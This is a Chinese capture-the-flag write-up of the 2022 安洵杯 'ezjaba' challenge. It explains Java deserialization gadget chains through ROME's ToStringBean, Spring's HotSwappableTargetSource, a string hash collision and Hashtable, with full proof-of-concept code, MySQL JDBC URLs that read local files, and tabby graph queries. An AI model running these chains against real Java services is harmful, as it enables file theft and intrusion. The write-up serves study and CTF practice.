安洵杯 ctf 2022 ezjaba

前言:安洵杯ctf2022,这题ezjaba当时没来得及做,后面看了下mysql jdbc的allowUrlInLocalInfile知识点也不知道,大概也是做不出来,这边写个笔记简单记录下,这边一共给出三条反序列化链和部分tabby寻找的过程

题目分析

这道题的话反编译看代码,通过几个类中是可以看出来考点是rome+jdbc

com.example.ezjaba.Connection.java 关于jdbc反序列化

特征词过滤的考点这里就不讲来,大小写就是可以绕过的

SecurityObjectInpitStream.java 反序列化黑名单,可以看到ObjectBean和EqualsBean被干掉了

之前研究过rome,除了ObjectBean的chain之外,还有个com.rometools.rome.feed.impl.ToStringBean类可以进行利用,但是这里可以看到BadAttributeValueExpException也被干掉了,所以需要找一条新的readOjbect-toString(toStringBean)的利用链

第一条利用链org.springframework.aop.target.HotSwappableTargetSource

这里jdk原生库中没找到可以利用的,之后可以尝试下spring源码中进行搜索,利用org.springframework.aop.target.HotSwappableTargetSource类

java.util.HashMap#readObject
java.util.HashMap#putVal
org.springframework.aop.target.HotSwappableTargetSource#equals
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)

public class TestMain {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Database database = new Database();
        database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
        ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(toStringBean1);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
        HashMap hashMap = new HashMap();
        hashMap.put(v1,v1);
        hashMap.put(v2,v2);
        serialize(hashMap);
        unserialize();
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

思考点

为什么不可以跳过HotSwappableTargetSource的equals,直接让XSring来进行equals,相当于就变成下面的调用链

java.util.HashMap#readObject
java.util.HashMap#putVal
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)

实际上发现会有点问题,因为hashcode的问题导致的,因为每次进行put的对象的hashcode的是不一样,因为不一样所以每次都进行存储,如果一样的话才会去调用equals方法,最终在hashmap中的反序列化中就走不到equals方法调用

而这里使用HotSwappableTargetSource可以使得hashcode相同,因为计算HotSwappableTargetSource的时候,该HotSwappableTargetSource类是返回相同的hashcode的

第二条利用链从HashMap去触发父类java.util.AbstractMap#hashCode

参考文章:https://y4tacker.github.io/2022/03/07/year/2022/3/ROME改造计划/#Step1–改造利用链

实际上下面这条利用链实际上是可以实现的

java.util.HashMap#readObject
java.util.HashMap#putVal
com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
com.rometools.rome.feed.impl.ToStringBean#toString()
com.rometools.rome.feed.impl.ToStringBean#toString(java.lang.String)

虽然在HashMap中put的时候无法进行,但是主要主键可以以字符串的形式存储的话是有办法让其不同但是hashcode却相同,如下所示

System.out.println("aa".hashCode() == "bB".hashCode());

可以跟到hashCode方法的逻辑中,可以看到是以字符的个数进行叠加的,第一个字符如果相差1,想要相等的话,那么第二个字符就需要比它大31,这样才满足

比如"aa" "bB" 'b'-'a'=1 'a'-'B'=31,利用这种关系的话,就可以满足

最终就使得(p = tab[i = (n - 1) & hash])取值的时候为null,这样第二次put的时候就能走到equals

注意:'aa' 'bB' 这两个hash值不知道是不是碰巧,因为尽管是相同,如果如果这个数的二进制后4位不为0的话,那么可能就不成立了

这里的话还需要注意的,即使上述这样进行反序列化还是无法进行利用,因为可以看到,这边的equals调用的是key.equals,所以这边无法进行利用

但是父类AbstractMap中的equals是通过value.equals来进行调用的,那么这里就有思路了,如果想让调用父类的equals,那么hashmap中put存储的就需要是hashmap对象

注意点:这里还需要满足的条件就是HashMap本身没有重写equals方法,这里的话是满足的

还有个需要注意的点就是两个map put的数据需要反着来,因为可以看到value.equals(m.get(key)),这里目的就是让存储的XString去触发ToStringBean,而这里获取主键的值必须是相同,所以就需要满足 hashmap_b['aa'] = ToStringBean hashmap_a['aa'] = XString 这种形式

这里的话最终的poc就是如下所示

public class TestMain {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Database database = new Database();
        database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
        ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
        XString xString = new XString("111");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",toStringBean1);
        map1.put("bB",xString);
        map2.put("aa",xString);
        map2.put("bB",toStringBean1);

        HashMap hashMap = new HashMap();
        hashMap.put(map1,"");
        hashMap.put(map2,"");
        serialize(hashMap);
        unserialize();
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

tabby

match (source:Method) where source.NAME="readObject" and source.CLASSNAME in ["java.util.HashMap", "java.util.Hashtable"]
match (sink:Method) where sink.NAME="toString" and sink.CLASSNAME="com.sun.syndication.feed.impl.ToStringBean"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection","java.sql.SQLInput","java.io.ObjectInputStream","javax.swing.JTree","com.sun.syndication.feed.impl.EqualsBean","javax.swing.JTable","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","java.net.URI","javax.security.auth.kerberos.KerberosPrincipal","javax.management.BadAttributeValueExpException","javax.security.auth.kerberos.KeyImpl","java.lang.Throwable","javax.sound.sampled.AudioFormat$Encoding"] or n.NAME in["next","clone"] or n.CLASSNAME=~'java.security.*')
return * limit 50

第三条利用链HashTable

参考文章:https://tttang.com/archive/1701/

触发是java.util.AbstractMap#equals,跟第二条类似,不过source点不一样

public class TestMain {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Database database = new Database();
        database.setDatabase("mysql://127.0.0.1:3306/test?user=fileread_file:///d:/&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true#");
        ToStringBean toStringBean1 = new ToStringBean(database.getClass(), database);
        XString xString = new XString("111");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",xString);
        map1.put("bB",toStringBean1);
        map2.put("aa",toStringBean1);
        map2.put("bB",xString);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1,"");
        hashtable.put(map2,"");
        serialize(hashtable);
        unserialize();
    }

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

tabby

match (source:Method) where source.NAME="readObject" and source.CLASSNAME in ["java.util.HashMap", "java.util.Hashtable"]
match (sink:Method) where sink.NAME="toString" and sink.CLASSNAME="com.sun.syndication.feed.impl.ToStringBean"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection","java.sql.SQLInput","java.io.ObjectInputStream","javax.swing.JTree","com.sun.syndication.feed.impl.EqualsBean","javax.swing.JTable","com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","java.net.URI","javax.security.auth.kerberos.KerberosPrincipal","javax.management.BadAttributeValueExpException","javax.security.auth.kerberos.KeyImpl","java.lang.Throwable","javax.sound.sampled.AudioFormat$Encoding"] or n.NAME in["next","clone"] or n.CLASSNAME=~'java.security.*')
return * limit 50

在jdbc中的利用

除了mysql的jdbc,postgresql也是可以利用的,参考:https://xz.aliyun.com/t/11812

posted @ 2022-11-29 20:02  zpchcbd  阅读(562)  评论(0编辑  收藏  举报